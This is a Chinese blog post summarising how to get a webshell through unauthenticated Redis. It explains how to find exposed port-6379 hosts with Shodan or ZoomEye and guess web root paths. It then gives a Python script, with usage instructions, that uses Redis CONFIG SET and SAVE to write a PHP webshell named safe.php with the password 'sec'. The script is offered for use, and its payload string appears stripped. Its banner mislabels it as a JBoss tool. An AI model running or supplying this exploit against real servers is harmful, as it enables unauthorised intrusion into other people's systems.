博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Redis Getshell总结
阅读量:5081 次
发布时间:2019-06-13

本文共 1899 字,大约阅读时间需要 6 分钟。

Redis默认端口是6379,可以通过zoomeye或者shodan来查找开放6379的端口,能收到很多对外开放6379端口的ip,而且绝大部门是未授权访问的,因为默认redis是未授权访问。但是还有一先决条件是该ip开放web服务,也就是开放如常见的80端口等,满足这两个条件你就有可能getshell。但是还有最麻烦的一件事是,你必须要知道网站web路径。这边只能靠网站报错泄漏路径,phpinfo文件为删除,文件包含漏洞等,不然只能靠猜了,比如iis服务器的路径c:/inetpub/wwwroot等,linux服务器/var/www, /var/www/html等。

  • 可以用redis-cli客户端连上redis服务器
  • 然后可以用info验证是否有信息
  • 通过设置路径,设置webshell名字和内容getshell 

总结一下,redis getshell条件

  • redis可以未授权访问,或者弱口令访问
  • redis服务器还开放了web服务
  • 知道web服务器的路径

以下还有一个redis getshell的脚本

#!/usr/bin/env python # coding=utf8# author=Cy3ber http://www.cy3ber.com import redisimport sys def log(text):    print '[*]------' + text def getshell(ip='127.0.0.1', pt=6379, webdir='/var/www/', socket_timeout=10):    try:        r = redis.StrictRedis(host=ip, port=pt)        if r.config_set('dir', webdir) == True and r.config_set('dbfilename', 'safe.php') == True:            log('set shell on %safe.php sucsessed' % (webdir))        else:            log('set shell dir failed')            sys.exit(1)        if r.set('myshell', "
") == True: log('set eval sucsessed') else: log('set eval failed') sys.exit(1) if r.save() == True: log('save shell as %safe.php sucsessed password is "sec"'%(webdir)) log('getshell sucsessed please check') else: log('getshell failed') except: log('error') if __name__ == '__main__': if len(sys.argv) <> 4: print "\n+-----------------------------+" print "| JbossGetshell |" print "| Cy3ber - cy3ber.com |" print "| Email:webmaster@cy3ber.com |" print "+-----------------------------+\n" print 'Usage:python redisgetshell.py ip port webdir' print "explame:python redisgetshell.py 10.0.18.1 6379 /data/web/" sys.exit(1) else: getshell(ip=sys.argv[1],pt=sys.argv[2],webdir=sys.argv[3])

转载于:https://www.cnblogs.com/he1m4n6a/p/10069282.html

你可能感兴趣的文章
mysql数据增删改查
查看>>
shell中下载最新版本或指定版本的办法(Dockerfile 中通用)
查看>>
极客时间-左耳听风-程序员攻略-分布式架构工程设计
查看>>
akka之种子节点
查看>>
不知道做什么时
查看>>
matlab 给某一列乘上一个系数
查看>>
密码学笔记——培根密码
查看>>
Screening technology proved cost effective deal
查看>>
MAC 上升级python为最新版本
查看>>
创业老板不能犯的十种错误
查看>>
Animations介绍及实例
查看>>
判断请求是否为ajax请求
查看>>
【POJ2699】The Maximum Number of Strong Kings(网络流)
查看>>
spring boot配置跨域
查看>>
BZOJ 1996 合唱队(DP)
查看>>
进击吧!阶乘——大数乘法
查看>>
安卓学习资料推荐-25
查看>>
Mysql数据库备份和还原常用的命令
查看>>
关于退出当前页面在火狐的一些问题
查看>>
【项目实施】项目考核标准
查看>>